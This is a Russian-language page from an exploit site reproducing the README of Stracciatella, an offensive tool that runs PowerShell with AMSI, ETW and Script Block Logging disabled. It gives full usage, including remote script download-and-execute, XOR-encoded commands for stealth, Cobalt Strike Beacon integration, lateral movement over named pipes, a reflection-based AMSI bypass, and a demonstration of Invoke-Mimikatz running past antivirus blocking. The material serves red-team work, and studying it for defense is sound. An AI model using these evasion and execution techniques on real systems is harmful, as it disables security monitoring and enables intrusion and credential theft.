Skip to content
Stracciatella exploit

Stracciatella exploit

Sploitus • September 29, 2026

Пространство выполнения PowerShell из C# (техника `SharpPick`) с отключенными AMSI, ETW и Script Block Logging для вашего удовольствия.

В наши дни, когда PowerShell сильно инструментирован с помощью таких техник, как:

* Ограниченный языковой режим (Constrained Language Mode)

Продвинутые атакующие должны находить способы обхода этих усилий для проведения сложных имитационных упражнений adversarial-симуляций. Чтобы помочь в этом, был создан следующий проект.

Эта программа построена на основе обходов для конкретных техник, включенных в:

Которые, в свою очередь, основаны на следующих исследованиях:

* Matt Graeber:

* Matt Graeber:

* Avi Gimpel:

* Adam Chester:

* Ryan Cobb:

* Ryan Cobb:

Идея SharpPick, то есть запуск скриптов PowerShell из сборки C# с помощью Runspaces, также не нова и была впервые реализована Lee Christensen (@tifkin_) в его:

Также исходный код заимствует реализацию `CustomPSHost` от Lee.

Этот проект наследует от вышеупомянутых исследований и замечательного сообщества безопасности, чтобы предоставить почти эффективное окружение PowerShell с отключенными защитами при запуске.

Теперь легко компилируется с .NET 4.0, тогда как при компиляции с .NET Framework 4.7.1+ включается дополнительная функциональность, позволяющая выгружать DLL, составляющие артефакты обхода CLM, и пытаться удалить их после этого (честно говоря, работает с трудом).

Лучший результат достигается при компиляции Stracciatella с .NET 4.0.

* Эта программа предоставляет возможность декодировать переданные параметры на лету с помощью однобайтового XOR

* Перед запуском любой команды убеждается, что отключены AMSI двумя способами и ETW

* Перед запуском любой команды убеждается, что отключено ведение журнала Script Block двумя способами

* Эта программа не патчит ни одну системную библиотеку, нативный код системы (например, amsi.dll)

* Были предприняты усилия, чтобы не хранить декодированные скрипты/команды чрезмерно долго, чтобы защитить себя от техник дампа памяти, контролируемых EDR и AV

:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI, ETW и Script Block Logging.

Mariusz Banach / mgeeky, '19-22

Использование: stracciatella.exe [опции] [команда]

-s , --script - Путь к файлу, содержащему скрипт PowerShell для выполнения. Если опции не указаны, войдет в

псевдо-оболочку. Это также может быть HTTP(S) URL для загрузки и выполнения скрипта powershell.

-v, --verbose - Выводить подробную информацию

-n, --nocleanup - Не удалять остатки отключения CLM (DLL-файлы в TEMP и ключи реестра COM).

-C, --leaveclm - Не пытаться отключить CLM. Более скрытно. Позволит избежать оставления не удаленных артефактов отключения CLM.

-f, --force - Продолжить выполнение, даже если защиты PowerShell не были отключены.

-c, --command - Выполняет указанные команды. Вы можете использовать -c или добавить команды после

параметров stracciatella: cmd> straciatella ipconfig /all

Если заданы и команда, и параметры скрипта, выполняется команда после запуска скрипта.

-x , --xor - Считать входные данные XOR-закодированными, где - однобайтовый ключ в десятичном формате

-p , --pipe - Читать команды powershell из указанного именованного канала. Команда должна начинаться с 4 байт

ее длины в little-endian (нотация Length-Value).

- Указывает таймаут для операции чтения из канала (в миллисекундах). По умолчанию: 60 сек. 0 - бесконечно.

-e, --cmdalsoencoded - Считать входную команду (указанную в '--command') также закодированной.

Декодирует входную команду после декодирования и выполнения входного скрипта.

По умолчанию мы декодируем только входной файл и считаем команду переданной в открытом виде.

Программа принимает команду и путь к файлу скрипта в качестве входных данных. Оба опциональны; если ничего не указано, будет запущена псевдо-оболочка. Команда и скрипт могут быть дополнительно закодированы с помощью однобайтового XOR (вывод будет в Base64) для улучшения OpSec-опыта.

1. _Псевдо-оболочка_ \- запускается, когда не заданы ни команда, ни путь к скрипту:

:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI, ETW и Script Block Logging.

Mariusz Banach / mgeeky, '19-22

[+] Нет необходимости отключать Constrained Language Mode. Уже в FullLanguage.

PSVersion 5.1.18362.1

PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}

BuildVersion 10.0.18362.1

CLRVersion 4.0.30319.42000

2. _XOR-закодированная (ключ = 0x31) команда и путь к файлу скрипта_

Сначала, чтобы подготовить закодированные операторы, можно использовать встроенный скрипт `encoder.py`, который используется следующим образом:

usage: encoder.py [options]

command Задает команду или путь к файлу скрипта для кодирования

-h, --help показать это справочное сообщение и выйти

-x KEY, --xor KEY Задает ключ XOR для команды/файла (один байт)

(необязательно) Выходной файл. Если не указан, выведет в stdout

PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"

ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU

Затем передаем вывод `encoder.py` в качестве входных данных для закодированной команды Stracciatella:

PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1

:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI, ETW и Script Block Logging.

Mariusz Banach / mgeeky, '19-22

[.] Загрузка файла скрипта: '.\Test2.ps1'

PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode

* `Command` состоял из следующих команд: `Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))`

* `Test2.ps1` содержал: `"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM="` `(Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))`

Stracciatella поставляется со скриптом Aggressor, который при загрузке открывает команду `stracciatella` в консоли Beacon. Использование очень похоже на `powerpick` (предварительно импортируя скрипты powershell через `stracciatella-import`). Входной параметр будет XOR-закодирован случайным ключом и передан через случайно именованный канал в пространство выполнения Stracciatella.

Доступны следующие команды Cobalt Strike:

Одной из стратегий работы со Stracciatella может быть настройка достаточно длинного таймаута чтения из канала (1), запуск его на удаленной машине (2), таким образом имея возможность бокового перемещения через именованный канал с небольшой помощью Stracciatella.

Преимущество перед `powerpick` заключается в том, что Stracciatella не патчит _AMSI.dll_ так, как это делает Powerpick (патч _AmsiScanBuffer_), что потенциально создает меньше криминалистического шума с точки зрения EDR, которые ищут патчи в памяти. Кроме того, Stracciatella со временем сможет стабильно обходить _Constrained Language Mode_ , что в настоящее время невозможно с помощью `powerpick`:

beacon> stracciatella-import PowerView.ps1

[*] Tasked Beacon to run Stracciatella: Get-Domain

DomainControllers : {dc.contoso.local}

Children : {us.eu.contoso.local}

PdcRoleOwner : dc.eu.contoso.local

RidRoleOwner : dc.eu.contoso.local

InfrastructureRoleOwner : dc.eu.contoso.local

Name : eu.contoso.local

Наконец, Stracciatella может легко использоваться другими инструментами/C2, которые не предлагают никакой функциональности для обхода защит PowerShell.

Когда `stracciatella` возвращает ошибку 2 (_ERROR_FILE_NOT_FOUND_), это означает, что Stracciatella превысила таймаут, ожидая данных для записи в свой именованный канал.

beacon> stracciatella Resolve-IPAddress dc1.bank.corp

[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp

[+] [11/02 03:32:50] host called , sent: 1007245 bytes

[+] [11/02 03:33:13] host called , sent: 191805 bytes

[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.

Это можно исправить, изменив параметр таймаута Stracciatella с помощью:

beacon> stracciatella Resolve-IPAddress dc1.bank.corp

[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp

[+] [11/02 04:01:11] host called , sent: 1007265 bytes

[+] [11/02 04:01:33] host called , sent: 191805 bytes

Связанный скрипт aggressor использует внутренние процедуры Beacon для записи в случайно именованный канал, который на другом конце будет прослушиваться логикой Stracciatella. Принимающий конец будет ожидать входящие данные в течение некоторого времени (параметр `--timeout` в опциях Stracciatella, по умолчанию 60 секунд), и если данные не поступают, происходит таймаут и мягкое завершение. В противном случае полученные команды будут декодированы и выполнены как обычно.

Иногда у нас есть скрипты PowerShell, которые не предоставляют никаких функций или не загружают рефлексивно .NET-модули, которые мы хотели бы вызвать из среды выполнения PowerShell. Для этого можно использовать команду Beacon `stracciatella-script `. Она читает указанный файл скрипта powershell и добавляет к нему заданную ` `, разделенную точкой с запятой.

Скрипт Aggressor (CNA) Stracciatella определяет, загружен ли BOF.NET, и если да, предоставляет команду:

Которая вызывает `bofnet_load stracciatella.exe`. Кроме того, Stracciatella будет запускаться через `bofnet_jobassembly` вместо встроенного `execute-assembly` от Cobalt.

Это поведение можно настроить, изменив глобальную переменную в скрипте `stracciatella.cna`:

# Если в Cobalt Strike загружен BOF.NET, предпочитать команду `bofnet_jobassembly` вместо `execute-assembly`.

# Это полезно, когда мы хотим переключить тактику на выполнение встроенное/в процессе через BOF.NET вместо fork & run.

$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";

## Как отключается AMSI и Script Block Logging?

С помощью рефлексии, как было обнаружено Matt Graeber, но подход этой программы был слегка изменен. Вместо обращения к символам по имени, например "amsiInitFailed", мы ищем их, проходя через каждую сборку, метод, тип и поле, доступные для рефлексивного получения. Затем мы отключаем AMSI путем манипуляции непубличными и статическими переменными в сборке Management.Automation. То же самое относится и к логированию Script Block, при этом некоторые идеи были основаны на исследованиях Ryan Cobb (@cobbr).

Фактически, `Stracciatella` использует ту же реализацию, что уже описана в вышеупомянутых файлах `Disable-*.ps1` от меня.

Кроме того, **мы не пытаемся патчить amsi.dll** — это слишком шумно и в ближайшем будущем может стать объектом пристального внимания со стороны EDR/HIPS/AV. Нарушение целостности системных библиотек, безусловно, проигрывает по сравнению с порчей рефлексивных переменных.

## Просто покажите мне `Invoke-Mimikatz`, не так ли?

Этот скрипт содержит вредоносный контент и был заблокирован вашим антивирусным ПО.

+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException

+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

Этот скрипт содержит вредоносный контент и был заблокирован вашим антивирусным ПО.

+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException

+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

:: Stracciatella - Пространство выполнения PowerShell с отключенными AMSI и Script Block Logging.

Mariusz Banach / mgeeky, '19-22

Stracciatella D:\> . .\Invoke-Mimikatz.ps1

Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )

'## v ##' (oe.eo)

'#####' with 20 modules * * */

В настоящее время способ, которым Stracciatella предоставляет пространство выполнения для команд powershell, не является самым скрытным. Мы в основном создаем пространство выполнения PowerShell, которое загружает соответствующую сборку .NET. Это может быть расценено как признак того, что процесс stracciatella является подозрительным.

* **В настоящее время невозможно выполнить полную очистку артефактов отключения CLM: DLL-файлы используются, остаются в %TEMP%.**

* Реализовать катящийся XOR с ключами длиной 2, 3 и 4 байта.

* Реализовать больше стратегий кодирования/шифрования, особенно использующих экологическое ключевание.

* Добавить автозавершение по Tab и поддержку стрелок вверх/вниз (при условии, что команды в открытом виде не будут храниться в памяти Straciatella).

* Обход Script Block Logging _может быть неэффективен_ для Windows Server 2016 и Windows 10, о чем сообщалось здесь

Этот и другие проекты — результат бессонных ночей и **огромного труда**. Если вам нравится то, что я делаю, и вы цените, что я всегда отдаю что-то сообществу, Купите мне кофе _(или лучше пиво)_ , чтобы просто сказать спасибо! 💪

Extracted Entities